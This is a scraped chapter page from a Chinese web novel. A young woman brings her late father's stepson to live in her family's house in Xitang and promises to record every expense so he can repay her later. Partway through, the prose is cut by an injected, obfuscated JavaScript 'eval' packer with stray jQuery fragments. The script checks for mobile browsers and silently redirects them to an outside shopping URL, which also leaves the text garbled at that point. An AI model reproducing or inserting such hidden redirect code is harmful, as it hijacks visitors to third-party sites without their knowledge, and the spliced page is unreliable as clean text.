默认冷灰
24号文字
方正启体

3. chapter2

作者:挽星鲤本书字数:K更新时间:
    她的声音轻缓,带着哄人意味。陈郁荆知道这是她搭好的台阶。


    孟青棠瞧着他的神色,把准备好的话说出来:“到溪塘后,我会照看你到高考结束,在这期间花在你身上的每一笔钱我都会记账。工作五年内,你需要把这笔钱还清。”


    来之前孟青棠就已经想好把陈郁荆带去溪塘,她也预料到种种情况。


    这个年纪的少年别的没有,一身骄傲,陈郁荆就是如此,宁可吃生活的苦头,也不愿意丢弃自尊。要他跟着一个并不亲近的姐姐去生活,无疑是艰难的。


    但他同样也知道,什么样的选择对他来说是最好的。人情债难还,倒不如转成具体的金钱。


    听见这话陈郁荆稍怔,垂着眸思索。


    “每一笔?”


    他好像是在为她考虑,每一个字都说的极为认真。


    孟青棠说:“每一笔。”


    “我跟你去溪塘。”他注视着她,启唇道。


    压在心头的石头微微松动。孟青棠接下了这份实则并不属于她的责任,自然而然为他以后打算。


    溪塘的条件和教育资源肯定是比花池好的,但终究赶不上京州,若是她还在京州……


    孟青棠垂着眼睑兀自思索,一旁的陈郁荆坐得挺直,两手握着膝盖,观察她的神色。


    响起的下课铃声打断孟青棠的思绪,她站起来,陈郁荆紧随其后。


    她拿起茶几上的那叠资料递给他:“一会儿跟你老师好好道个别。”


    陈郁荆接过,扫过的视线顿住。


    最上面的一页纸上密密麻麻的手迹,句句斟酌字字肺腑,那是王谊给他铺的第一块砖。


    *


    王谊知道事情结果后喜出望外,拉着陈郁荆絮絮叨叨说了很多,无外乎好好学习之类。


    孟青棠将时间留给这对师生,走到门外拨出一通电话。


    那头很快接通:“青棠。”


    “妈。”


    孟知意问:“怎么了,是不是在溪塘待的不习惯?”


    她望着天边慢慢流动的云:“爸爸去世了,在一个月前。”


    母亲和父亲的关系很微妙,他们的离婚并不是因为争吵或者矛盾,从始至终都很平静,她的抚养权也是有商有量地定下。就像是一片静谧无声的湖泊,投入一颗小砂砾,宽阔的湖面不会受此影响。


    可她知道并非如此,湖泊下流动着一股暗流,譬如这么多年母亲总能得知父亲的各种消息。


    那头默了会儿:“我知道。”


    “您没跟我说。”


    “你那段时间状态并不是很好,我以为没必要给你平添麻烦。”


    “嗯,”她侧目,透过窗户看着窗内的少年,他似有所感抬目望来,孟青棠道,“他还有一个继子,一个人在花池生活,明年就要高考。”


    “那是他的孩子,”孟知意平静问,“你知道这么清楚,是已经到那个地方了,对吗?”


    孟青棠不想对她有所隐瞒:“我想带他去溪塘。”


    那朵流云缓缓挪步到太阳面前,地上洒下大片阴影。


    仿佛过了很久,孟知意说:“你可以给他钱。”


    “县高的教学质量并不好,我看过他的成绩,可以更进一步。”


    “你不如直接把人弄到京州?”


    孟青棠知道她生气了,她抵触有关于父亲的一切,那个少年尤甚。她收回目光,喊了一声:“妈。”


    “你既然已经做出决定,之后的事情就不用再跟我讲了。”


    嘟,嘟,嘟。


    电话挂断,孟青棠的心情也像被覆在阴云下。


    *


    孟青棠在他们出来前整理好心情。


    王谊唇角弯起,初见的忐忑变为由衷的喜悦。


    孟青棠多少有些佩服她,她跟陈郁荆至少还有她爸这个纽带,王谊却能为他做到这种程度。陈郁荆去楼上拿书,两人多聊了两句。


    王谊道:“这次还是我冒昧了,在我姨妈那里努力了好几天,硬是诓到你的联系方式。”


    “王老师很负责,陈郁荆能遇见你,是他的幸运。”


    王谊叹口气:“我这学期刚调来当他们的班主任,最开始对他的印象其实并不好。我带英语,每星期会给他们布置听力练习,第一次陈郁荆交上来的卷子听力练习都是空白,我当着全班同学的面批评了他。”


    不写作业,上课睡觉,课堂迟到,王谊对陈郁荆印象差到极点,直到有次出去吃饭她看见饭店擦桌子的陈郁荆。


    当晚她下晚自习路过便利店,陈郁荆混在店员里跟着卸货,干完活后借了店员的手机播放听力。


    少年额发被汗水打湿,眼睛有红血丝,穿着蓝白校服撑在柜台做卷子。


    “这样下去他撑不到高考的,所以我只能想办法。”王谊看向孟青棠,“孟女士能来是我没想到的。”她以为孟青棠至多给出一笔钱,这也能让陈郁荆度过难关。


    “你本人和网上风评不太一样。”她弯眼,“你不会做那种事。”


    孟青棠知道她说的是什么,勉强勾了下唇。


    *


    陈郁荆的行李不多,背着的书包,和提在手里的黑色塑料袋。


    到溪塘有三个多小时的路程,孟青棠知道他中午没吃饭,特意拐到便利店,给他挑了些东西垫肚子。


    她不知道这个年纪的小孩爱吃什么,便把货架看着不错的都拿了。临出门,她又拿了盒樱花白桃味的薄荷糖。


    她把那袋零食递给他,含了颗薄荷糖醒神,驶向溪塘。


    车停在屋外,强撑一天的精神得以松懈,孟青棠身子后倾,长舒一口气,看向副驾的少年。


    陈郁荆望着玻璃外的洋楼,视线微瞥,猝不及防撞上她倒映在玻璃上的目光,他转过头。


    孟青目瞥了眼他腿上放着的袋子,里面的东西完好无损。


    “不饿吗?”


    “不饿。”


    肚子咕噜噜不合时宜响起,他微赧,不自在移目。


    “空着肚子也好,尝尝林姨的手艺,走吧。”


    门铃只响了一声就从里面打开,林姨看向孟青棠身后的少年,“这就是阿荆吧?”


    孟青棠应声后走进屋子,陈郁荆亦步亦趋跟着她。


    “外婆还没回来?”


    “和舞伴练习新舞呐,下午打电话说后天回来。”


    几人落座,孟青棠看向陈郁荆:“爱吃什么,有什么忌口可以告诉林姨。”


    孟青棠没什么胃口,更想回房休息,坐在这儿是陪陈郁荆吃完这一餐。


    她小口啜茶,抬目见陈郁荆脑袋就差埋进碗里,只扒饭不夹菜。


    林姨瞧见哎呦一声,忙着拿公筷给陈郁荆夹菜,少年一边捧着碗接,一边连声道谢。


    *


    饭后林姨领着陈郁荆上到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525749|203487||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    二楼。


    二楼的三间屋子一间孟青棠住,一间改成画室,空下的一间正好给陈郁荆住。下午接到孟青棠的电话,林姨就把房间收拾好了。


    林姨推开门,她提醒道:“走廊最西边那间屋子是青棠的画室,她不喜欢别人进去,还有啊,她不喜欢闹腾,但人很好说话,你平常注意点就行。”


    陈郁荆的视线落在明亮整洁的屋子,出声道:“谢谢林姨。”


    少年身量高,长相英俊,林姨见过的这么大的孩子里没有一个像他这样,整个人都透着小心翼翼,他无声的到了这个家里,也不想被注意,只想像一株小草一样默默长大。


    孟青棠没有说陈郁荆的来历,王谊含糊其辞,但总归是遭遇什么变故才不得不寄人篱下,林姨有些同情地叹一声:“可怜的孩子。”


    叹息钻入耳中,陈郁荆手指攥紧包带,睫毛微颤。


    屋里的灯光打在他崩线发白的校服袖口,书包压得肩上沉甸甸的。


    林姨叮嘱他晚上关窗,而后离开。


    坐在靠窗的书桌能看见窗外夜色,今夜无风,暗云遮天。


    他不知自己坐了多久,腿隐隐发麻,起身撑桌子站了会儿,忽然想到落在楼下的东西。


    纠结两秒,他轻轻打开了门。


    *


    “林姨。”孟青棠倚在端着水杯,倚在门边,看着林姨的背影道。


    林姨正擦拭流理台,听见声音,停下手转身。


    她卸了妆,素白着一张脸,眼睑下覆着淡淡的乌青。


    “怎么了青棠,是不是胃不舒服,我给你熬点粥?”林姨关切道,“我看你晚饭就吃的少。”


    “不用麻烦,我就是下来接杯水。”


    林姨不免担忧:“又吃安眠药啊,要不明儿我陪你去医院看看,这样下去也不是个事儿。”


    “林姨。”


    "陈郁荆是我弟弟,"她神色平静,启唇道,“那样的话,以后不要在他面前说了。”


    什么话?林姨愣住了。她今晚和陈郁荆从饭桌说到房间,嘴就没停过,虽然是她单方面的。她仔仔细细回想一遍,也想不出哪句话出格。


    等等,她说陈郁荆是她弟弟。


    林姨这下知道她哪里说错了,赔笑道:“哎呦我这,我嘴上没个把门,以后不会了。”


    孟青棠点头,让林姨早些休息,转身离开。


    林姨继续擦拭桌子,心想这句话还真是她说错了,能当孟青棠的弟弟,那可就不可怜了。


    *


    孟青棠走上二楼,在楼梯口碰到陈郁荆。


    “还没休息?”


    孟青棠不动声色打量他的神色,疑心他是不是将林姨的话听进去了。


    那半天她头疼得厉害,怎么也睡不着,倒了片安眠药在掌心,手伸过去才发现杯子里没水。


    趿着拖鞋走到门边,拧动门把手,“咔哒”的开门声伴随着林姨的叹息传入耳中,她指尖一顿。


    林姨说着话,少年长久沉默。


    听见隔壁的关门声,她想了想,转了方向走进厨房。


    没有人希望自己被同情,至少陈郁荆不是,往后他们还要生活很长一段时间,她不想他处在时不时难堪的境地。


    “睡不着,”陈郁荆目光落在她清亮的眼睛,手指蜷了蜷,“我东西落客厅了。”


    他的行李就那两样,能落下什么,“什么东西?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)